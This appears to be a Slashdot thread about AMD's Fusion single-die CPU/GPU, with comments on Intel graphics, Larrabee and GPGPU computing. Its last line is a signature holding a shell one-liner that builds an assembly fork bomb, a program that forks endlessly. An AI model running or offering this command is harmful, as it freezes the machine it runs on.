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AMD's Fusion CPU + GPU Will Ship This Year
mr_sifter writes "Intel might have beaten AMD to the punch with a CPU featuring a built-in GPU, but it relied on a relatively crude process of simply packaging two separate dies together. AMD's long-discussed Fusion product integrates the two key components into one die, and the company is confident it will be out this year — earlier than had been expected."
I recently went from an older AMD dual core to a Phenom II. With the exact same board and hardware, my memory performance increased by about 20% thanks to the independent memory controllers.
AMD also makes strikingly capable on-board graphics, so this will likely rule out the need for on-board or discrete video in the average person's computer. Cheaper/simpler motherboards and hopefully better integration of GPGPU functionality for massively parallel computational tasks.
If sharing a song makes you a pirate, what do I have to share to be a ninja?
Intel graphics are only shit for gamers who want maximum settings for recent games. For everything else, and even for casual gamers, they are fine. At this very moment I'm just taking a quick break from playing HL-2 with an I3's graphics. Resolution is fine, fps is fine, cowbell is maxed out. Go look at some youtube videos to see how well the gma 4500 (precurser to the current gen) does with Crysis.
Free the Quark 3 from asymptotic confinement! Bring your charm! Don't get down! All colours and flavours welcome!
AMD Fusion was meant to compete with Larrabee which is not released. The Intel package with two separate dies is not interesting. The point of these products is to give the programmer access to the vast FP power of a graphics chip, so they can do, for instance, a large scale fft and ifft faster than a normal CPU. If this proves more powerful than Nvidia's latest Fermi (GTX 480 I believe), then expect a lot of shops to switch. Right now my workplace has a Nvidia Fermi on backorder, so it looks like this is a big market.
You're behind the times.
http://en.wikipedia.org/wiki/ATI_Hybrid_Graphics
http://en.wikipedia.org/wiki/Scalable_Link_Interface#Hybrid_SLI
One that hath name thou can not otter
Sigh, I know *I'm* the one actually feeding the troll here, but: http://www.intel.com/consumer/products/technology/graphics.htm
The page for the GMA 950 even has this hilarious tidbit:
"With a powerful 400MHz core and DirectX* 9 3D hardware acceleration, Intel® GMA 950 graphics provides performance on par with mainstream graphics card solutions that would typically cost significantly more."
Whoever wrote that line must have been borrowing Steve's Reality Distortion Field.
Actually Intel had a radical way to handle this - Larrabee. It was going to be 48 in order processors on a die with Larrabee new instructions. There was a Siggraph paper with very impressive scalability figures for a bunch of games running DirectX in software - they captured the DirectX calls from a machine with a conventional CPU and GPU and injected them into a Larrabee simulator.
This was going to be a very interesting machine - you'd have a machine with good but not great gaming performance and killer server performance - servers are naturally "embarrassingly parallel" because you can have one thread per client. A sort of x86 take on Sun's Niagra.
Of course there are problems with this sort of approach. Most current games are not very well threaded - they have a small number of threads that will run poorly on an in order CPU. So if the only chip you had was a Larrabee and it was both a CPU and a GPU the GPU part would be well balanced across multiple cores. The CPU part would likely not. You have to wonder about memory bandwidth too.
Larrabee was switched to be a GPU only and then canned.
Of course as a pure GPU it is a bit of a poor design. Real GPUs don't drag in x86 compatibility - they can implement whatever instruction set is best and nothing else. The instruction set is not publicly exposed and can change from generation to generation. You can cram a lot more than 48 cores onto a GPU and the peak performance is higher. Power consumption is lower too.
Still a modern gaming GPU is huge - there's no way you're going to cram it and a modern GPU onto a die and get something affordable. Then again CPUGPU chips are probably not aimed at gamers - there's an argument for having a CPU and a stripped down integrated GPU on one chip for netbooks like the latest Atoms do.
You could cram in a chipset too to reduce the price on netbooks.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;